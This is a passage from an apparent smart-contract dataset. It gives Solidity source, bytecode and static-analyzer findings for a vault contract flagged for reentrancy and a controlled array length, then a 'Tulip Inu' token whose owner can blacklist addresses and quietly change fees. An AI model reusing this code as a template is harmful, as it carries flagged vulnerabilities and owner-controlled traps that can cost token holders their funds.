(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pBASEDVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { mapping (address => uint256) amount; uint256 time; } IERC20 public token = IERC20(0x68A118Ef45063051Eac49c7e647CE5Ace48a68a5); address public governance; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount = 0; event Withdrawn(address indexed user, uint256 amount); constructor () public { governance = msg.sender; } function balance() public view returns (uint) { return token.balanceOf(address(this)); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { require(_amount > 0, "can't deposit 0"); uint arrayLength = addressIndices.length; bool found = false; for (uint i = 0; i < arrayLength; i++) { if(addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 realAmount = _amount.mul(995).div(1000); uint256 feeAmount = _amount.mul(5).div(1000); address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC; address vaultAddress = 0x46E98bBc449Bdd840faA27C598c4faEfCCCF0bef; // Vault15, 16 Address token.safeTransferFrom(msg.sender, feeAddress, feeAmount); token.safeTransferFrom(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.add(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount); } function reward(uint256 _amount) external { require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token.safeTransferFrom(msg.sender, address(this), _amount); uint arrayLength = addressIndices.length; for (uint i = 0; i < arrayLength; i++) { rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit)); _rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit); } _rewards[_rewardCount].time = block.timestamp; _rewardCount++; } function withdrawAll() external { withdraw(rewardBalances[msg.sender]); } function withdraw(uint256 _amount) public { require(_rewardCount > 0, "no reward amount"); require(_amount > 0, "can't withdraw 0"); uint256 availableWithdrawAmount = availableWithdraw(msg.sender); if (_amount > availableWithdrawAmount) { _amount = availableWithdrawAmount; } token.safeTransfer(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount); emit Withdrawn(msg.sender, _amount); } function availableWithdraw(address owner) public view returns(uint256){ uint256 availableWithdrawAmount = rewardBalances[owner]; for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) { availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days)); if (i == 0) break; } return availableWithdrawAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc907346e98bbc449bdd840faa27c598c4faefcccf0bef906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820ca6c20e5c39568fa22889fbcc139fd2de0c3d5affcf9195eafd1bfa777f903c664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,950
0x265009bF7068c8772Ff3CA5C2e9Df54cEbEB0fB0
/* Tulip Inu ($TULIP) Our Amazing Community: https://t.me/tulipinuofficial */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TulipInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Tulip Inu"; string private constant _symbol = "TULIP"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (25 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; _maxTxAmount = 10000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d4578063a9059cbb14610302578063c3c8cd8014610322578063d543dbeb14610337578063dd62ed3e1461035757600080fd5b80636fc3eaec1461026257806370a0823114610277578063715018a6146102975780638da5cb5b146102ac57600080fd5b806323b872dd116100dc57806323b872dd146101d1578063293230b8146101f1578063313ce567146102065780635932ead1146102225780636b9990531461024257600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b50610138610133366004611897565b61039d565b005b34801561014657600080fd5b5060408051808201909152600981526854756c697020496e7560b81b60208201525b60405161017591906119db565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461186c565b61044a565b6040519015158152602001610175565b3480156101ba57600080fd5b506509184e72a0005b604051908152602001610175565b3480156101dd57600080fd5b5061019e6101ec36600461182c565b610461565b3480156101fd57600080fd5b506101386104ca565b34801561021257600080fd5b5060405160098152602001610175565b34801561022e57600080fd5b5061013861023d36600461195e565b610886565b34801561024e57600080fd5b5061013861025d3660046117bc565b6108ce565b34801561026e57600080fd5b50610138610919565b34801561028357600080fd5b506101c36102923660046117bc565b610946565b3480156102a357600080fd5b50610138610968565b3480156102b857600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e057600080fd5b50604080518082019091526005815264054554c49560dc1b6020820152610168565b34801561030e57600080fd5b5061019e61031d36600461186c565b6109dc565b34801561032e57600080fd5b506101386109e9565b34801561034357600080fd5b50610138610352366004611996565b610a1f565b34801561036357600080fd5b506101c36103723660046117f4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d05760405162461bcd60e51b81526004016103c790611a2e565b60405180910390fd5b60005b8151811015610446576001600a600084848151811061040257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043e81611b41565b9150506103d3565b5050565b6000610457338484610aef565b5060015b92915050565b600061046e848484610c13565b6104c084336104bb85604051806060016040528060288152602001611bac602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611025565b610aef565b5060019392505050565b6000546001600160a01b031633146104f45760405162461bcd60e51b81526004016103c790611a2e565b600f54600160a01b900460ff161561054e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058830826509184e72a000610aef565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f991906117d8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067991906117d8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c157600080fd5b505af11580156106d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f991906117d8565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072981610946565b60008061073e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a157600080fd5b505af11580156107b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107da91906119ae565b5050600f80546509184e72a00060105562ff00ff60a01b1981166201000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561084e57600080fd5b505af1158015610862573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610446919061197a565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016103c790611a2e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108f85760405162461bcd60e51b81526004016103c790611a2e565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461093957600080fd5b476109438161105f565b50565b6001600160a01b03811660009081526002602052604081205461045b906110e4565b6000546001600160a01b031633146109925760405162461bcd60e51b81526004016103c790611a2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610457338484610c13565b600c546001600160a01b0316336001600160a01b031614610a0957600080fd5b6000610a1430610946565b905061094381611168565b6000546001600160a01b03163314610a495760405162461bcd60e51b81526004016103c790611a2e565b60008111610a995760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c7565b610ab46064610aae6509184e72a0008461130d565b9061138c565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c7565b6001600160a01b038216610bb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c7565b6001600160a01b038216610cd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c7565b60008111610d3b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c7565b6000546001600160a01b03848116911614801590610d6757506000546001600160a01b03838116911614155b15610fc857600f54600160b81b900460ff1615610e4e576001600160a01b0383163014801590610da057506001600160a01b0382163014155b8015610dba5750600e546001600160a01b03848116911614155b8015610dd45750600e546001600160a01b03838116911614155b15610e4e57600e546001600160a01b0316336001600160a01b03161480610e0e5750600f546001600160a01b0316336001600160a01b0316145b610e4e5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c7565b601054811115610e5d57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e9f57506001600160a01b0382166000908152600a602052604090205460ff16155b610ea857600080fd5b600f546001600160